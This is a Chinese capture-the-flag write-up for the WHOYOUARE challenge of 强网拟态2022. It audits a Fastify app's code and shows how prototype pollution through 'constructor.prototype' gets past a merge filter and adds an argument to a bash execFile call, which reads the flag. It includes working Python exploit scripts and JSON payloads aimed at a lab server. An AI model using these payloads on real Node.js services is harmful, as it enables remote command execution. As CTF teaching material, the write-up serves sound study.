学习学习
强网拟态2022
WHOYOUARE
这道题目的环境是nodejs,猜考点是原型链污染,其框架根据附件名称可知为fastify

看题目名字和刚打开题目的提示,猜测污染漏洞点应该在user处,应该在某个检查user信息的地方可以进行原型链污染
代码审计
先审一下app.js
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| const userRoutes = require('./routes/user') const fastify = require('fastify')({ logger: { level: 'error' } }) const port = process.env.PORT || 3000 const host = process.env.HOST || "0.0.0.0" const respWrapper = { $id: 'respWrapper', type: 'object', response : { success: { type: 'object', properties: { status : { type: 'number' }, info: { type: 'string' }, } } } }
fastify.addSchema(respWrapper) fastify.register(userRoutes)
fastify.listen({ host, port }, (err, address) => { if (err) { fastify.log.error(err) process.exit(1) } fastify.log.info(`server listening on ${address}`) })
|
发现网站还有个路由/user
1
| const userRoutes = require('./routes/user')
|
访问

显示
1
| {"message":"Route GET:/user not found","error":"Not Found","statusCode":404}
|
看样子是无法用GET方式访问/user路由
于是审计一下user.js
user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| const merge = require('../utils/merge') const bin = "/bin/bash" const ChildProcess = require('child_process');
function checkUser(command){ if (Array.isArray(command) === false || command.length > 2) { return false; } for (let i = 0; i < command.length; i++) { let cmd = command[i]; if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) { return false; } } return true; }
async function routes (fastify, options) { fastify.route( { method: 'POST', url: '/user', schema: { querystring: { user: { type: 'string' }, }, additionalProperties: false, response: { 200: { $ref: 'respWrapper#/response/success' } } }, preHandler: function (request, reply, done) { request.user = {username : 'guest', command: ["-c", "id"]} let user = JSON.parse(request.body.user) if (checkUser(user.command) !== true) { user.command = ["-c", "id"] } try { merge(request.user, user) }catch (e){ reply.code(400).send({status: 1, info: "Something error"}) return ; } done() }, handler : function (request, reply) { ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => { if (error) { reply.code(400).send({status: 1, info: error}) } reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`}); }); } }) fastify.route({ method: 'GET', url: '/', response: { $ref: 'respWrapper#/response/success' }, handler: function (request, reply) { reply.send({ status: 0, info: 'go user' }) } }) }
module.exports = routes
|
原型链污染重点看merge和JSON.parse,发现代码,
1
| let user = JSON.parse(request.body.user)
|
1 2 3 4 5 6
| try { merge(request.user, user) }catch (e){ reply.code(400).send({status: 1, info: "Something error"}) return ; }
|
其中request.user的值为,
1
| request.user = {username : 'guest', command: ["-c", "id"]}
|
而user的值为,
1
| let user = JSON.parse(request.body.user)
|
request.user是初始化的user,所以无法直接污染,但是user是从请求体中得到的数据,并且通过Json格式化,其中是可以加一些实体(如__proto__,constructor.prototype)进去,是可以被我们污染的,所以,我们可以先污染user,然后通过merge合并,将user中的值传入request.user中
然后我们可以看看merge的内容,
merge.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const merge = (target, source) => { for (const key in source) { if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ if(key !== '__proto__'){ merge(target[key], source[key]); } }else{ target[key] = source[key]; } } }
module.exports = merge
|
发现merge对内容进行了过滤和检查,
- 如果
request.user或user中,有包含whileTypes中的内容,就不会执行merge
- 如果键值中有
__proto__,也不会执行merge
过滤关键字还好,只是过滤了__proto__,需要一个相同功能的来帮助绕过,比如constructor.prototype
但是在merge前面还要个checkUser,将command也进行了限制
1 2 3 4 5 6 7 8 9 10 11 12
| function checkUser(command){ if (Array.isArray(command) === false || command.length > 2) { return false; } for (let i = 0; i < command.length; i++) { let cmd = command[i]; if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) { return false; } } return true; }
|
由条件语句可知,要求command必须是数组且数组中元素个数要小于等于2,
且要求command数组中的元素必须为字符串且长度要小于等于4,并以字母或者数字或者-开头
如果不满足checkUser,就会执行:
1
| user.command = ["-c", "id"]
|
将command直接赋值为执行id命令,而不能执行其他命令。
==>再由初始化request.user,所以最后构造request.body.user的结构应该为
1
| {"user":"{"username":"guest","command":["-c","id"]}"}
|
只是我们想要执行的command是cat /flag,但是很明显我们长度限制过不了,所以如果想要执行命令是不能把值写到command中,不然肯定会被拦截
我们看看user.js中,是如何执行command的,
1 2 3 4 5 6 7 8
| handler : function (request, reply) { ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => { if (error) { reply.code(400).send({status: 1, info: error}) } reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`}); }); }
|
发现它执行是执行request.user.command的内容,那便又回到污染user,然后再通过merge污染request.user,所以这里尝试污染request.user的实体中的command参数
但是,request.user在执行merge之前就已经有command值["-c","id"],所以作为一个已经存在的参数,就算污染了实体,它查找调用时还是会以它自己已有的值为先,所以如下图

我们仔细执行命令的代码,发现它是将 request.user.command这个数组直接接到 /bin/bash后面
构造成
这种命令。
但是突然想到一点,既然无法直接污染实体修改已有参数,那么如果在command数组中再加一个键值2,并且也是命令,能否也成功执行呢?
我们本地可以先测试一下,
1 2 3 4
| import requests url="http://127.0.0.1:3000/user" user='''{"username":"ttoc","constructor":{"prototype":{"2":"whoami"}},"command":["-c","id"]}''' print(requests.post(url=url, json={"user": user}).text)
|
只看调试结果,command数组的变化
开始都是一样的,再加上这里的command数组符合checkUser的要求,通过

当运行到key为prototype时,

可以看到target,也就是request.user,也获得了一个属性2且值为whoami的,说明污染成功

继续看对command数组的影响,虽然两者command数组一样,但是后面就会出现区别

发现在不断的merge合并时,user和request.user中两者的数组中的key也在比较,但是由于两者的command数组中是字符串,属于whileTypes,所以会直接将target[key] = source[key];,也就是将user中值赋值给request.user,也就是修改command值
1 2 3 4 5 6 7 8
| const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined']; if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ if(key !== '__proto__'){ merge(target[key], source[key]); } }else{ target[key] = source[key]; }
|
由于key=0和key=1两者都一样都是-c,id,所以赋值没有变化

当key=2时,因为之前执行prototype时,使得request.user也有属性2这个值,

虽然这个属性2是在Object中,但是是在Array之上,所以即便command数组中没有key=2,但是仍然就会从原型链中寻找,所以当再次运行到target[key] = source[key];时,属性2就被当作command的属性2,赋值进去了

于是最后执行命令时就是,
由这个现象便可以构造出payload,可以看到便得到flag{test}
1 2 3 4 5
| import requests url="http://172.28.31.86:3000/user" user='''{"username":"ttoc","constructor":{"prototype":{"2":"cat /flag"}},"command":["-c","-i"]}''' print({"user":user}) print(requests.post(url=url, json={"user": user}).text)
|

当然这只是一个,同理,既然限制command数组中元素个数要小于等于2,所以一个也是可以的
1 2 3 4 5 6
| # http: import requests url="http://172.28.31.86:3000/user" user='''{"username":"ttoc","constructor":{"prototype":{"1":"cat /flag"}},"command":["-c"]}''' print({"user":user}) print(requests.post(url=url, json={"user": user}).text)
|
结果同上,只是不能让command为空就行,不然会报错
直接浏览器console,展示也可以理解原理

这里的属性2实际是在command实体中
